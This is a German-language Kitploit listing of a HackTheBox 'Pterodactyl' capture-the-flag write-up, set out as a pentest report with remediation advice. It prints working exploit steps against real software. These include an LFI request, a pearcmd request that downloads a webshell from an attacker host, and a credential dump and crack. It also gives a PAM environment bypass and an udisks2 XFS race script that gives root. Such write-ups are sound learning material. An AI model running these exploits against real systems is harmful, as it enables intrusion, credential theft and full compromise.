Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included. | Kitploit
Tools/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationCTF

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Penetration Testing
Learning & Education
Labs & Practice
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Penetrationstestbericht — HackTheBox: Pterodactyl

Datum: 8. April 2026
Ziel: Pterodactyl (HackTheBox)
Schwierigkeit: Mittel
Betriebssystem: Linux (openSUSE Leap 15.6)
Tester: V0idW1re


Zusammenfassung

Die Pterodactyl-Maschine auf HackTheBox präsentierte ein realistisches Angriffsszenario mit einer falsch konfigurierten Webanwendung und verketteten Privilegieneskalations-Schwachstellen. Ausgehend von einer nicht authentifizierten Position erreichte der Tester durch eine logische Abfolge von Ausbeutungsschritten eine vollständige Root-Kompromittierung. Die Angriffskette umfasste eine nicht authentifizierte Local File Inclusion-Schwachstelle, kreative Nutzung eines PHP-Paketmanagers zur Remotecodeausführung, Extraktion und Knacken von Zugangsdaten sowie schließlich die Verkettung zweier öffentlich bekannter CVEs, um von einem niedrig privilegierten Benutzer zu Root zu eskalieren.


Umfang

FeldWert
Ziel-IP10.129.25.223
Hostnamepterodactyl.htb
BetriebssystemopenSUSE Leap 15.6
DiensteSSH (22), HTTP (80)
Subdomainspanel.pterodactyl.htb

Methodik

Die Bewertung folgte einer standardmäßigen Penetrationstest-Methodik:

  1. Aufklärung und Dienstaufzählung
  2. Analyse der Webanwendung
  3. Erste Ausbeutung
  4. Post-Exploitation und laterale Bewegung
  5. Privilegieneskalation
  6. Nachweis der Kompromittierung

Funde

Fund 1 — Nicht authentifizierte Local File Inclusion (CVE-2025-49132)

Schweregrad: Kritisch
Komponente: Pterodactyl Panel v1.11.10 — /locales/locale.json-Endpunkt

Beschreibung:
Der Locale-Endpunkt des Pterodactyl-Panels hat die Query-Parameter locale und namespace nicht bereinigt, sodass ein Directory-Traversal möglich war. Da die Anwendung .php an den Namespace-Wert anhängt und ihn über PHPs Include-Mechanismus lädt, konnte ein Angreifer den Server zwingen, beliebige PHP-Dateien im Dateisystem zu laden und auszuführen.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Auswirkung:
Datenbank-Anmeldeinformationen wurden aus config/database.php extrahiert:

  • Benutzername: pterodactyl
  • Passwort: PteraPanel
  • Datenbank: panel

Der Laravel-Anwendungsschlüssel wurde ebenfalls aus config/app.php extrahiert.

Nachweis:

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Fund 2 — Remotecodeausführung über pearcmd.php

Schweregrad: Kritisch
Komponente: PHP PEAR-Installation + LFI

Beschreibung:
Mit dem etablierten LFI-Primitiv nutzte der Tester das pearcmd.php-Skript des PEAR-Paketmanagers aus. Wenn die PHP-Konfiguration register_argc_argv=On hat (bestätigt über phpinfo), wird die Query-Zeichenfolge als Befehlszeilenargumente von pearcmd interpretiert. Der download-Befehl wurde verwendet, um eine PHP-Webshell vom Server des Angreifers abzurufen und im öffentlichen Webverzeichnis des Panels zu speichern.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Auswirkung:
Eine PHP-Webshell wurde nach /var/www/pterodactyl/public/shell.php geschrieben und ermöglichte eine nicht authentifizierte Remotecodeausführung als Benutzer wwwrun.

Nachweis:

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Fund 3 — Klartext-Datenbank-Anmeldeinformationen und schwache Passwortspeicherung

Schweregrad: Hoch
Komponente: MySQL-Panel-Datenbank

Beschreibung:
Mithilfe der RCE-Shell stellte der Tester eine Verbindung zur MySQL-Datenbank her, wobei die über LFI erhaltenen Anmeldeinformationen verwendet wurden. Die Tabelle users enthielt bcrypt-gehashte Passwörter aller Panel-Benutzer. Der Hash für den Benutzer phileasfogg3 wurde offline mit einer gängigen Wortliste geknackt.

Exploit:

root@kitploit:~
SELECT username, password FROM users;

Geknackte Anmeldeinformationen:

  • Benutzername: phileasfogg3
  • Passwort: !QAZ2wsx

Auswirkung:
SSH-Zugriff als phileasfogg3 wurde erlangt, und die Benutzerflagge wurde erfasst:

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

Fund 4 — PAM-Umgebungsberechtigungs-Umgehung (CVE-2025-6018)

Schweregrad: Hoch
Komponente: PAM-Konfiguration — pam_env.so mit user_readenv=1

Beschreibung:
Die PAM-Konfiguration auf openSUSE Leap 15.6 bezieht die Datei ~/.pam_environment des Benutzers über pam_env.so mit user_readenv=1 ein. Durch das Setzen bestimmter Umgebungsvariablen in dieser Datei kann ein unprivilegierter SSH-Benutzer systemd-logind und Polkit dazu bringen, die Sitzung als aktive physische Konsolensitzung zu betrachten und dadurch allow_active-Berechtigungen zu erlangen.

Exploit:

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

Nach dem erneuten Verbinden über SSH wurde die Sitzung als Active=yes erkannt, was unprivilegierte Aufrufe von udisks2 D-Bus-Methoden ermöglichte, die normalerweise die physische Konsolenpräsenz erfordern.

Nachweis:

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# Keine Authentifizierungsaufforderung

Fund 5 — udisks2 XFS-Größenänderungs-Racebedingung (CVE-2025-6019)

Schweregrad: Kritisch
Komponente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Beschreibung:
Wenn udisks2 ein XFS-Dateisystem über libblockdev in der Größe ändert, wird das Dateisystem-Image vorübergehend in einem weltweit zugänglichen Verzeichnis unter /tmp/blockdev.* ohne die Mount-Flags nosuid und nodev bereitgestellt. Dies erzeugt ein kurzes Race-Condition-Fenster, in dem jede im Image vorhandene SUID-Binärdatei mit erhöhter effektiver UID ausgeführt werden kann.

Ein Angreifer mit allow_active-Polkit-Berechtigungen (erlangt über CVE-2025-6018) kann:

  1. Ein XFS-Image erstellen, das eine root-eigene SUID-bash-Binärdatei enthält
  2. Über udisksctl loop-setup ein Loop-Device einrichten
  3. Die Größenänderung über D-Bus auslösen
  4. Während des temporären nosuid-freien Mount-Fensters um die Ausführung der SUID-Binärdatei konkurrieren

Kritischer Hinweis zur XFS-Image-Kompatibilität:
Das XFS-Image muss mit bestimmten Flags für openSUSE Leap 15.6 (SP5/SP6) erstellt werden:

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Exploit:

root@kitploit:~
# Bösartiges XFS-Image erstellen (auf Angreifer-Maschine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# Auf Ziel — um das Größenänderungsfenster konkurrieren
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Nachweis:

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Root-Flagge:

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

Zugriffsnachweis

FlaggeWert
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Zusammenfassung der Privilegieneskalation

root@kitploit:~
[Unauthentifiziert]
    ↓ CVE-2025-49132 (LFI)
[Datenbank-Anmeldeinformationen]
    ↓ pearcmd RCE
[wwwrun-Shell]
    ↓ MySQL-Datenbank-Dump + Hash-Knacken
[phileasfogg3 SSH]
    ↓ CVE-2025-6018 (PAM-Umgehung → allow_active)
    ↓ CVE-2025-6019 (udisks2 XFS-Größenänderungs-Race)
[Root]

Auswirkung

Vollständige Kompromittierung des Zielsystems. Ein Angreifer mit dieser Zugriffsebene könnte:

  • Alle Dateien auf dem System lesen, ändern oder löschen
  • Permanente Hintertüren oder Schadsoftware installieren
  • Zu anderen Systemen im Netzwerk wechseln
  • Auf alle gespeicherten Anmeldeinformationen und sensiblen Daten zugreifen
  • Gehostete Dienste stören oder manipulieren

Behebung


Dieser Bericht wurde zu Bildungszwecken im Rahmen einer HackTheBox-Laborübung erstellt. Alle Tests wurden in einer legalen, isolierten Laborumgebung durchgeführt.

Tool herunterladen
FundBehebung
CVE-2025-49132 (LFI)Aktualisieren Sie Pterodactyl Panel auf v1.11.11 oder höher, das eine strenge alphanumerische Validierung der locale/namespace-Parameter erzwingt
pearcmd RCESetzen Sie register_argc_argv=Off in der php.ini; entfernen Sie PEAR, falls nicht benötigt
Schwaches PasswortErzwingen Sie strenge Passwortrichtlinien; verwenden Sie einen Passwortmanager
CVE-2025-6018 (PAM)Setzen Sie user_readenv=0 in der PAM-Konfiguration für pam_env.so
CVE-2025-6019 (udisks2)Aktualisieren Sie udisks2 und libblockdev auf gepatchte Versionen; ändern Sie die Polkit-Regel für org.freedesktop.udisks2.modify-device, um allow_active von yes auf auth_admin zu setzen